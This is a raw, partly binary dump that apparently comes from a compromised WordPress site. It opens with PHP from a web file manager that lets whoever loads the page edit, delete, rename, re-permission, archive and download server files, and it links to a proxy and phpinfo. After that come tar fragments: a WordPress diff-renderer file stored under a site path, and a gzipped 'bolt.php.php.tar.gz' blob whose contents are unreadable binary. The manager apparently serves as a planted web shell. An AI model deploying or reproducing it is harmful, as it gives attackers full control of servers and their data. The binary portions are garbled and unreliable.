		<tr>
		</table>
    </td>
</tr>
</table>
<table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%">
<thead>
<tr> 
    <th style="white-space:nowrap"> <?=__('Filename')?> </th>
    <th style="white-space:nowrap"> <?=__('Size')?> </th>
    <th style="white-space:nowrap"> <?=__('Date')?> </th>
    <th style="white-space:nowrap"> <?=__('Rights')?> </th>
    <th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th>
</tr>
</thead>
<tbody>
<?php
$elements = fm_scan_dir($path, '', 'all', true);
$dirs = array();
$files = array();
foreach ($elements as $file){
    if(@is_dir($path . $file)){
        $dirs[] = $file;
    } else {
        $files[] = $file;
    }
}
natsort($dirs); natsort($files);
$elements = array_merge($dirs, $files);

foreach ($elements as $file){
    $filename = $path . $file;
    $filedata = @stat($filename);
    if(@is_dir($filename)){
		$filedata[7] = '';
		if (!empty($fm_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename);
        $link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
        $loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').'&nbsp;zip',__('Archiving').' '. $file);
		$arlink  = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '.$file);
        $style = 'row2';
		 if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"'; else $alert = '';
    } else {
		$link = 
			$fm_config['show_img']&&@getimagesize($filename) 
			? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\''
			. fm_img_link($filename)
			.'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>'
			: '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
		$e_arr = explode(".", $file);
		$ext = end($e_arr);
        $loadlink =  fm_link('download',$filename,__('Download'),__('Download').' '. $file);
		$arlink = in_array($ext,array('zip','gz','tar')) 
		? ''
		: ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '. $file));
        $style = 'row1';
		$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"';
    }
    $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
    $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>';
    $rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>';
?>
<tr class="<?=$style?>"> 
    <td><?=$link?></td>
    <td><?=$filedata[7]?></td>
    <td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td>
    <td><?=$rightstext?></td>
    <td><?=$deletelink?></td>
    <td><?=$renamelink?></td>
    <td><?=$loadlink?></td>
    <td><?=$arlink?></td>
</tr>
<?php
    }
}
?>
</tbody>
</table>
<div class="row3"><?php
	$mtime = explode(' ', microtime()); 
	$totaltime = $mtime[0] + $mtime[1] - $starttime; 
	echo fm_home().' | ver. '.$fm_version.' | <a href="https://">Github</a>  | <a href="'.fm_site_url().'">.</a>';
	if (!empty($fm_config['show_php_ver'])) echo ' | PHP '.phpversion();
	if (!empty($fm_config['show_php_ini'])) echo ' | '.php_ini_loaded_file();
	if (!empty($fm_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2);
	if (!empty($fm_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>';
	if (!empty($fm_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>';
	if (!empty($fm_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>';
	if (!empty($fm_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>';
	?>


<?php
//Ported from ReloadCMS project http://reloadcms.com
class archiveTar {
	var $archive_name = '';
	var $tmp_file = 0;
	var $file_pos = 0;
	var $isGzipped = true;
	var $errors = array();
	var $files = array();
	
	function __construct(){
		if (!isset($this->errors)) $this->errors = array();
	}
	
	function createArchive($file_list){
		$result = false;
		if (file_exists($this->archive_name) && is_file($this->archive_name)) 	$newArchive = false;
		else $newArchive = true;
		if ($newArchive){
			if (!$this->openWrite()) return false;
		} else {
			if (filesize($this->archive_name) == 0)	return $this->openWrite();
			if ($this->isGzipped) {
				$this->closeTmpFile();
				if (!rename($this->archive_name, $this->archive_name.'.tmp')){
					$this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp';
					return false;
				}
				$tmpArchive = gzopen($this->archive_name.'.tmp', 'rb');
				if (!$tmpArchive){
					$this->errors[] = $this->archive_name.'.tmp '.__('is not readable');
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				if (!$this->openWrite()){
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				$buffer = gzread($tmpArchive, 512);
				if (!gzeof($tmpArchive)){
					do {
						$binaryData = pack('a512', $buffer);
						$this->writeBlock($binaryData);
						$buffer = gzread($tmpArchive, 512);
					}
					while (!gzeof($tmpArchive));
				}
				gzclose($tmpArchive);
				unlink($this->archive_name.'.tmp');
			} else {
				$this->tmp_file = fopen($this->archive_name, 'r+b');
				if (!$this->tmp_file)	return false;
			}
		}
		if (isset($file_list) && is_array($file_list)) {
		if (count($file_list)>0)
			$result = $this->packFileArray($file_list);
		} else $this->errors[] = __('No file').__(' to ').__('Archive');
		if (($result)&&(is_resource($this->tmp_file))){
			$binaryData = pack('a512', '');
			$this->writeBlock($binaryData);
		}
		$this->closeTmpFile();
		if ($newArchive && !$result){
		$this->closeTmpFile();
		unlink($this->archive_name);
		}
		return $result;
	}

	function restoreArchive($path){
		$fileName = $this->archive_name;
		if (!$this->isGzipped){
			if (file_exists($fileName)){
				if ($fp = fopen($fileName, 'rb')){
					$data = fread($fp, 2);
					fclose($fp);
					if ($data == '\37\213'){
						$this->isGzipped = true;
					}
				}
			}
			elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true;
		} 
		$result = true;
		if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb');
		else $this->tmp_file = fopen($fileName, 'rb');
		if (!$this->tmp_file){
			$this->errors[] = $fileName.' '.__('is not readable');
			return false;
		}
		$result = $this->unpackFileArray($path);
			$this->closeTmpFile();
		return $result;
	}

	function showErrors	($message = '') {
		$Errors = $this->errors;
		if(count($Errors)>0) {
		if (!empty($message)) $message = ' ('.$message.')';
			$message = __('Error occurred').$message.': <br/>';
			foreach ($Errors as $value)
				$message .= $value.'<br/>';
			return $message;	
		} else return '';
		
	}
	
	function packFileArray($file_array){
		$result = true;
		if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
		}
		if (!is_array($file_array) || count($file_array)<=0)
          return true;
		for ($i = 0; $i<count($file_array); $i++){
			$filename = $file_array[$i];
			if ($filename == $this->archive_name)
				continue;
			if (strlen($filename)<=0)
				continue;
			if (!file_exists($filename)){
				$this->errors[] = __('No file').' '.$filename;
				continue;
			}
			if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
			}
		if (strlen($filename)<=0){
			$this->errors[] = __('Filename').' '.__('is incorrect');;
			return false;
		}
		$filename = str_replace('\\', '/', $filename);
		$keep_filename = $this->makeGoodPath($filename);
		if (is_file($filename)){
			if (($file = fopen($filename, 'rb')) == 0){
				$this->errors[] = __('Mode ').__('is incorrect');
			}
				if(($this->file_pos == 0)){
					if(!$this->writeHeader($filename, $keep_filename))
						return false;
				}
				while (($buffer = fread($file, 512)) != ''){
					$binaryData = pack('a512', $buffer);
					$this->writeBlock($binaryData);
				}
			fclose($file);
		}	else $this->writeHeader($filename, $keep_filename);
			if (@is_dir($filename)){
				if (!($handle = opendir($filename))){
					$this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable');
					continue;
				}
				while (false !== ($dir = readdir($handle))){
					if ($dir!='.' && $dir!='..'){
						$file_array_tmp = array();
						if ($filename != '.')
							$file_array_tmp[] = $filename.'/'.$dir;
						else
							$file_array_tmp[] = $dir;

						$result = $this->packFileArray($file_array_tmp);
					}
				}
				unset($file_array_tmp);
				unset($dir);
				unset($handle);
			}
		}
		return $result;
	}

	function unpackFileArray($path){ 
		$path = str_replace('\\', '/', $path);
		if ($path == ''	|| (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':')))	$path = './'.$path;
		clearstatcache();
		while (strlen($binaryData = $this->readBlock()) != 0){
			if (!$this->readHeader($binaryData, $header)) return false;
			if ($header['filename'] == '') continue;
			if ($header['typeflag'] == 'L'){			//reading long header
				$filename = '';
				$decr = floor($header['size']/512);
				for ($i = 0; $i < $decr; $i++){
					$content = $this->readBlock();
					$filename .= $content;
				}
				if (($laspiece = $header['size'] % 512) != 0){
					$content = $this->readBlock();
					$filename .= substr($content, 0, $laspiece);
				}
				$binaryData = $this->readBlock();
				if (!$this->readHeader($binaryData, $header)) return false;
				else $header['filename'] = $filename;
				return true;
			}
			if (($path != './') && ($path != '/')){
				while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1);
				if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename'];
				else $header['filename'] = $path.'/'.$header['filename'];
			}
			
			if (file_exists($header['filename'])){
				if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){
					$this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder');
					return false;
				}
				if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){
					$this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
				if (!is_writeable($header['filename'])){
					$this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
			} elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){
				$this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename'];
				return false;
			}

			if ($header['typeflag'] == '5'){
				if (!file_exists($header['filename']))		{
					if (!mkdir($header['filename'], 0777))	{
						
						$this->errors[] = __('Cannot create directory').' '.$header['filename'];
						return false;
					} 
				}
			} else {
				if (($destination = fopen($header['filename'], 'wb')) == 0) {
					$this->errors[] = __('Cannot write to file').' '.$header['filename'];
					return false;
				} else {
					$decr = floor($header['size']/512);
					for ($i = 0; $i < $decr; $i++) {
						$content = $this->readBlock();
						fwrite($destination, $content, 512);
					}
					if (($header['size'] % 512) != 0) {
						$content = $this->readBlock();
						fwrite($destination, $content, ($header['size'] % 512));
					}
					fclose($destination);
					touch($header['filename'], $header['time']);
				}
				clearstatcache();
				if (filesize($header['filename']) != $header['size']) {
					$this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect');
					return false;
				}
			}
			if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = '';
			if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/';
			$this->dirs[] = $file_dir;
			$this->files[] = $header['filename'];
	
		}
		return true;
	}

	function dirCheck($dir){
		$parent_dir = dirname($dir);

		if ((@is_dir($dir)) or ($dir == ''))
			return true;

		if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir)))
			return false;

		if (!mkdir($dir, 0777)){
			$this->errors[] = __('Cannot create directory').' '.$dir;
			return false;
		}
		return true;
	}

	function readHeader($binaryData, &$header){
		if (strlen($binaryData)==0){
			$header['filename'] = '';
			return true;
		}

		if (strlen($binaryData) != 512){
			$header['filename'] = '';
			$this->__('Invalid block size').': '.strlen($binaryData);
			return false;
		}

		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1));

		$unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);

		$header['checksum'] = OctDec(trim($unpack_data['checksum']));
		if ($header['checksum'] != $checksum){
			$header['filename'] = '';
			if (($checksum == 256) && ($header['checksum'] == 0)) 	return true;
			$this->errors[] = __('Error checksum for file ').$unpack_data['filename'];
			return false;
		}

		if (($header['typeflag'] = $unpack_data['typeflag']) == '5')	$header['size'] = 0;
		$header['filename'] = trim($unpack_data['filename']);
		$header['mode'] = OctDec(trim($unpack_data['mode']));
		$header['user_id'] = OctDec(trim($unpack_data['user_id']));
		$header['group_id'] = OctDec(trim($unpack_data['group_id']));
		$header['size'] = OctDec(trim($unpack_data['size']));
		$header['time'] = OctDec(trim($unpack_data['time']));
		return true;
	}

	function writeHeader($filename, $keep_filename){
		$packF = 'a100a8a8a8a12A12';
		$packL = 'a1a100a6a2a32a32a8a8a155a12';
		if (strlen($keep_filename)<=0) $keep_filename = $filename;
		$filename_ready = $this->makeGoodPath($keep_filename);

		if (strlen($filename_ready) > 99){							//write long header
		$dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);
		$dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');

        //  Calculate the checksum
		$checksum = 0;
        //  First part of the header
		for ($i = 0; $i < 148; $i++)
			$checksum += ord(substr($dataFirst, $i, 1));
        //  Ignore the checksum value and replace it by ' ' (space)
		for ($i = 148; $i < 156; $i++)
			$checksum += ord(' ');
        //  Last part of the header
		for ($i = 156, $j=0; $i < 512; $i++, $j++)
			$checksum += ord(substr($dataLast, $j, 1));
        //  Write the first 148 bytes of the header in the archive
		$this->writeBlock($dataFirst, 148);
        //  Write the calculated checksum
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
        //  Write the last 356 bytes of the header in the archive
		$this->writeBlock($dataLast, 356);

		$tmp_filename = $this->makeGoodPath($filename_ready);

		$i = 0;
			while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){
				$binaryData = pack('a512', $buffer);
				$this->writeBlock($binaryData);
			}
		return true;
		}
		$file_info = stat($filename);
		if (@is_dir($filename)){
			$typeflag = '5';
			$size = sprintf('%11s ', DecOct(0));
		} else {
			$typeflag = '';
			clearstatcache();
			$size = sprintf('%11s ', DecOct(filesize($filename)));
		}
		$dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));
		$dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');
		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1));
		$this->writeBlock($dataFirst, 148);
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
		$this->writeBlock($dataLast, 356);
		return true;
	}

	function openWrite(){
		if ($this->isGzipped)
			$this->tmp_file = gzopen($this->archive_name, 'wb9f');
		else
			$this->tmp_file = fopen($this->archive_name, 'wb');

		if (!($this->tmp_file)){
			$this->errors[] = __('Cannot write to file').' '.$this->archive_name;
			return false;
		}
		return true;
	}

	function readBlock(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				$block = gzread($this->tmp_file, 512);
			else
				$block = fread($this->tmp_file, 512);
		} else	$block = '';

		return $block;
	}

	function writeBlock($data, $length = 0){
		if (is_resource($this->tmp_file)){
		
			if ($length === 0){
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data);
				else
					fputs($this->tmp_file, $data);
			} else {
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data, $length);
				else
					fputs($this->tmp_file, $data, $length);
			}
		}
	}

	function closeTmpFile(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				gzclose($this->tmp_file);
			else
				fclose($this->tmp_file);

			$this->tmp_file = 0;
		}
	}

	function makeGoodPath($path){
		if (strlen($path)>0){
			$path = str_replace('\\', '/', $path);
			$partPath = explode('/', $path);
			$els = count($partPath)-1;
			for ($i = $els; $i>=0; $i--){
				if ($partPath[$i] == '.'){
                    //  Ignore this directory
                } elseif ($partPath[$i] == '..'){
                    $i--;
                }
				elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){
                }	else
					$result = $partPath[$i].($i!=$els ? '/'.$result : '');
			}
		} else $result = '';
		
		return $result;
	}
}
?>PK     |\tT        inline.php.tarnu [        home/laratrends/public_html/wp-includes/Text/Diff/Renderer/inline.php                               0000644                 00000012630 15217274171 0021731 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * "Inline" diff renderer.
 *
 * Copyright 2004-2010 The Horde Project (http://www.horde.org/)
 *
 * See the enclosed file COPYING for license information (LGPL). If you did
 * not receive this file, see https://opensource.org/license/lgpl-2-1/.
 *
 * @author  Ciprian Popovici
 * @package Text_Diff
 */

/** Text_Diff_Renderer */

// WP #7391
require_once dirname(dirname(__FILE__)) . '/Renderer.php';

/**
 * "Inline" diff renderer.
 *
 * This class renders diffs in the Wiki-style "inline" format.
 *
 * @author  Ciprian Popovici
 * @package Text_Diff
 */
class Text_Diff_Renderer_inline extends Text_Diff_Renderer {

    /**
     * Number of leading context "lines" to preserve.
     *
     * @var integer
     */
    var $_leading_context_lines = 10000;

    /**
     * Number of trailing context "lines" to preserve.
     *
     * @var integer
     */
    var $_trailing_context_lines = 10000;

    /**
     * Prefix for inserted text.
     *
     * @var string
     */
    var $_ins_prefix = '<ins>';

    /**
     * Suffix for inserted text.
     *
     * @var string
     */
    var $_ins_suffix = '</ins>';

    /**
     * Prefix for deleted text.
     *
     * @var string
     */
    var $_del_prefix = '<del>';

    /**
     * Suffix for deleted text.
     *
     * @var string
     */
    var $_del_suffix = '</del>';

    /**
     * Header for each change block.
     *
     * @var string
     */
    var $_block_header = '';

    /**
     * Whether to split down to character-level.
     *
     * @var boolean
     */
    var $_split_characters = false;

    /**
     * What are we currently splitting on? Used to recurse to show word-level
     * or character-level changes.
     *
     * @var string
     */
    var $_split_level = 'lines';

    function _blockHeader($xbeg, $xlen, $ybeg, $ylen)
    {
        return $this->_block_header;
    }

    function _startBlock($header)
    {
        return $header;
    }

    function _lines($lines, $prefix = ' ', $encode = true)
    {
        if ($encode) {
            array_walk($lines, array(&$this, '_encode'));
        }

        if ($this->_split_level == 'lines') {
            return implode("\n", $lines) . "\n";
        } else {
            return implode('', $lines);
        }
    }

    function _added($lines)
    {
        array_walk($lines, array(&$this, '_encode'));
        $lines[0] = $this->_ins_prefix . $lines[0];
        $lines[count($lines) - 1] .= $this->_ins_suffix;
        return $this->_lines($lines, ' ', false);
    }

    function _deleted($lines, $words = false)
    {
        array_walk($lines, array(&$this, '_encode'));
        $lines[0] = $this->_del_prefix . $lines[0];
        $lines[count($lines) - 1] .= $this->_del_suffix;
        return $this->_lines($lines, ' ', false);
    }

    function _changed($orig, $final)
    {
        /* If we've already split on characters, just display. */
        if ($this->_split_level == 'characters') {
            return $this->_deleted($orig)
                . $this->_added($final);
        }

        /* If we've already split on words, just display. */
        if ($this->_split_level == 'words') {
            $prefix = '';
            while ($orig[0] !== false && $final[0] !== false &&
                   substr($orig[0], 0, 1) == ' ' &&
                   substr($final[0], 0, 1) == ' ') {
                $prefix .= substr($orig[0], 0, 1);
                $orig[0] = substr($orig[0], 1);
                $final[0] = substr($final[0], 1);
            }
            return $prefix . $this->_deleted($orig) . $this->_added($final);
        }

        $text1 = implode("\n", $orig);
        $text2 = implode("\n", $final);

        /* Non-printing newline marker. */
        $nl = "\0";

        if ($this->_split_characters) {
            $diff = new Text_Diff('native',
                                  array(preg_split('//', $text1),
                                        preg_split('//', $text2)));
        } else {
            /* We want to split on word boundaries, but we need to preserve
             * whitespace as well. Therefore we split on words, but include
             * all blocks of whitespace in the wordlist. */
            $diff = new Text_Diff('native',
                                  array($this->_splitOnWords($text1, $nl),
                                        $this->_splitOnWords($text2, $nl)));
        }

        /* Get the diff in inline format. */
        $renderer = new Text_Diff_Renderer_inline
            (array_merge($this->getParams(),
                         array('split_level' => $this->_split_characters ? 'characters' : 'words')));

        /* Run the diff and get the output. */
        return str_replace($nl, "\n", $renderer->render($diff)) . "\n";
    }

    function _splitOnWords($string, $newlineEscape = "\n")
    {
        // Ignore \0; otherwise the while loop will never finish.
        $string = str_replace("\0", '', $string);

        $words = array();
        $length = strlen($string);
        $pos = 0;

        while ($pos < $length) {
            // Eat a word with any preceding whitespace.
            $spaces = strspn(substr($string, $pos), " \n");
            $nextpos = strcspn(substr($string, $pos + $spaces), " \n");
            $words[] = str_replace("\n", $newlineEscape, substr($string, $pos, $spaces + $nextpos));
            $pos += $spaces + $nextpos;
        }

        return $words;
    }

    function _encode(&$string)
    {
        $string = htmlspecialchars($string);
    }

}
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PK     |\a  a    bolt.php.php.tar.gznu [              Ys(v_5!9THq_DA$A 	?8{#?8¯~seUa"}ߵg	ԒU9^r=T[vy#HCq=U46+l^azgP0@$'҃p ߅V5NAM[/h=Ԙ ̂	073?JLFd K̿?H45ל(?5֦"H$ݡ'[uD37Z_cɩVVF(	!5^,UPix]G^}5C T*RCo|š	θG_QTӖn[p$|Cy#;~z=z|E7S__X"H>kDUޣ ?e-9 	wF̋CCYx	THP"<x&^d*-)k
AZYJ$K'Ԁy*Ғw (kѽq;HBc4ɲ8HVyNNDF{y4ÿUE~Q?;JѰD2^Յ}*o!7ť]+?9TU/CLx{4$ҫDSM`1ߝwhQXdQ4yMfD\i>Kp+[ʊ2swh|d2qp*3 罒t*N@#Ek7]&jҩf	m@g2IhY,_sj/zVxf/uM̌5Ѧʌ_V=-DqPl߇#p*l3J?bNw2x(xN"z(eV
\OBib1*$}48	?G4FD:%x۫mPl9@a[ID|Gķe	j#z?2^/ODAEVyFW%x-^i.Y为毗#Β\$UEF-K*d!t>x^>	q
Q8?x2.SxeʄQRK~'L	@ eΛ+
qo: 	dx:jn<-_jhAYheX @C8;N_G	qf1sd%WXYx@)JYP:?O=x'z
1NuhjNeCyL/K9z[rYJ[xũa-(|:sCҗGÉk@9ϣ&=śE(Qk
H
H>xCEyĻ,"C;*h||c<w7(lp{^FxXANwiSh{F5[_f0zĔExt9}N7skֲ V5oCԱ3'noPz
i,NBn? .T x]HI.| {v_@,s	;7ќE#~̡KPQgi AJ$.JDwJT`"GhBnWH :T,\YxN+2; u`.sܿ*z+͂K4[M2!Akv&[:eX/C#gMN9Xl,)D[KBY"t-Ќ0I))>ѐ٧X3OW9_$2W`GDJ8"6^U<h!	cZX^!WE*	KXL5:	ZS7NXB1*
QuY &v
M)!^z|[C4}8UidPh3IA
ڑӊRw#<(i,ى=M%] g(DxT9$On<uѼp[MZ-s_ʈAFw2[K'un2ss]*ladcd~2Ɋvyh:.efcW<ߘ79$Bʆ,>~:݃N%Y)1E":X|Gktr·Vdrk9U)S"T̠T:/h	*x1ih#cdFZiQ.éIA|D-p0YPB^"HQl#IBlNÿ10{@A/8Q["ƜEo3e=)qP9&qXl#u
h_4CzBl
N|I,p[DЦp76K6KnǂJ^vHyaT։DCHLΓ#&]A:$C^UC$)rHVT(b+TuK(&҉^6-{kkfR\=3ldxRb9Jc#*T	k!uE%I~/8\߾_/_wGMq]^%pHgЩAj|5%̱8@9=C^/`XO(^a	ݗd^_]NI!~";4Z@M^#Xd"_1{gIWf
xqᅥ?i6lWhW_t^[+cMNzBbc!	m*cRZ»EBՅiǍ>@w,65B!cIfD e#JyQ,/2sBkY|:Şqxڒ쳸S*36m-׵$
ZH,c+NhjT2F^2ɸ"]5H|D%brʿ2]dx$$c٦<a:8I1	)e_dQ"Fo 6~9-PQT*d9.!& o 6Y],hڀe]<÷L|1_e[Z\%tgT@Wa 
_i'eqRva(qڜA윌Xy|&&ބ/++V?	M"PTJˠ;JmH(EڢTYr#MxN48N?Q!D;xj&XM@	(-[Z)2l}4B.G@$dqGCǅ	Z{3vp8!Nk}A#M{6Pz1B 6kyMQ͡D(毤i[FKM}1"H;vi)tiBĝ!`G=$`"FAlRK15m~'zՔ͂,~ԥ
-iafҁ'xAc0?/ylD?pYD!AhnkN'VVgc`͎yŁ;e9[Kmz ]a;.WX_kur Qg*w`]%/Y`ywb;D]ƼԘ
feH(Jk"Gz2)AISHiIt}<eǭp#wOeJ"la>?1yy-8T8ۣ;֚># GWBll>ZGX:t:YAOi*$P
'*FDk.9æiH5JD(VE~lօsA4Pw@ށ10&Z|Pwv>
VbnGU!7i֭60?y4Mj%KEo#MOɤeC#3	J1Dv>t}IZdVB&Y:ű
WE%ltalj-}5Q nU#WI֠ D~Ц  46o`op~s_[2^^@}^!hIh@h"!Tѱ}Иcf9nDM	9'o&eҩ끪)fQ/2HP6{u%Ղ)1\!z#(yu;DϤ[w2}tJbEb9Ήt355<z15AC/8%)#:}p!2&g*8%jLѰn& |NC {,~BI4z	xXq]W)ʋq7t*כ98!֗t~&8`\x= Shsޢ|{R3K@;"&u`F&iOq	"RO\`6GIx5aI5`HkѦ,t3C Kv1k}Юiiͧb$@KWGt%B3?C&Œ1	RB?'^~WSccCk{cNc-|fIz+˄%aF9D"T5<J/KMH|鈚DiOgl(S=@jl<($5;6KסsV2M$Hv#8iHh4\ӡ݄+[fGUqş㛗91\9Fy9?E^y_D'	I'iĸ{=}&4;Ѡ]Yuunn+dZǝj `";eEk'ƛVI71~V:G.vt)H
:d<[^`CKy8#GkQ-j,כzLZի8+Lzxu!ºMw~FbhȩS8#ø`s,uot\_tÇkQE$!>GL@$vO8AT7ŭb`bsH|-ܓi"qZsÌ\7HdST@w0~f!$Asom4z:(uM/IB ?yr.b~c$G(&HőjRL3Ƞ065BNgrf:lQm,UKr	#<0LR[0LQ\*;~f,DG}t|$P5ZLҪtRvr;T$2lGd2#s3~H31Mb6{OX<,~b'sg0R[)n:&pkV~B@"R2!tO׿ڭk&SJ~}}08 z kg8eS[6Lrn7ׇAN>uW#έpVAtR^+b}dɉk)KQΓ(,\/N12-bN~|6'KC%W0|"^_HaJ 8	;@']āC:}ֈUBMj[^N+ʉ=z/"c[ӂ.R UBj~E=p?;'0-9k8#r#C|Rs#u(!\(NkvG73MzE"[fG,-%R*)ij8+9=bw"#dއtы")x[',^grkJlٵbfJvMWUԝR-WW33͞mi\aX
:;m-=E@aC>YbjKpȴ>TPf8T^HUڣ"\k^ x5y#H#4orå5 ʢ2m I'/5+#NBRexqk`rz>c9@:%Ph
A#=|CMH<IX88|K0K`f H,eA"{4Z]_r8]J;2^6Ra"ПJ=͵')z&rhC0JڹT+n)ZGFoq(dZAhCCVnzz)%-Bnl,VW名lZEyi;|H[!2A~pA)갵C<ϤjDpKUVV`t]
QRj?jS/"ucDv&,yr"2%,ZƣUKp'ڽi{YτfE 8_<*T``\;\y -h4Ċ)a*!vtFѳܑո
뉆ԛ|x>kDޖ=LÁ3'PJ\0?rThS6hDRh!PvX	s,r)e<Xw<j-l}+	OlL벱	#"TNKUyR<E鐘uP'٠\=̞wq6&B0ZXzJۙ62UKԜ+(;IjzjR}cO75zo5dr#nΥBp3(Iez;)j׳­]2q!thXOir4vrt{c}?TQ+T.?bNzݑ^tqP!sN]n+YSSB.Nެ,'!'OJKsF1l7XZ,O\`J&;<iO:tқ{ʮy?tthD.]{\+U߷ڛ<y6:Sd41hSOg{
|ٱl3Ad sF:n*hJѲ_-=YtSn{np˩}׳nH'7c{-cnWq88=#t-mSeidfF;S揓$$&4&[}f~V%[s6XgM!RbդA8?G
$0P81mt͡rlN9\лpaAf; EncZ z{KEdSF֚jU3WHibYI*6]	ExVmN v8иWϯjjdsZڪ\1ȥXiک/ E;l7 6EY-pc4uhrؓT6$ZʿGX6;J Q?QguI&֓m)7e/kHFô뜹CŢ冀M]|Uv_86{ՅCh%  :SQ@r'/,K^!	)CJp)9^TRq+аu-wNW׸$FkȼZȵ:Q"-z	; V\<>p(5ߚs@w_~oНL:Q-V9\)m[a?:A2].~fa	Jʲg UbkhyA!~f^&G>U@p!j2XeD+ x@<IWT9ILoC@GR_~o?;_	+Mi	/?}X7%	#@Q;a]RĞ-!'#nfıq~ǫ
Upto\3i:80KzcC*-Q(bxxK+@bP AUD\GO^l*XڨUuذ˂NI#	W5M3VA>+8v	&Ł	[xͤ#?=d1vsIɞJ}awm
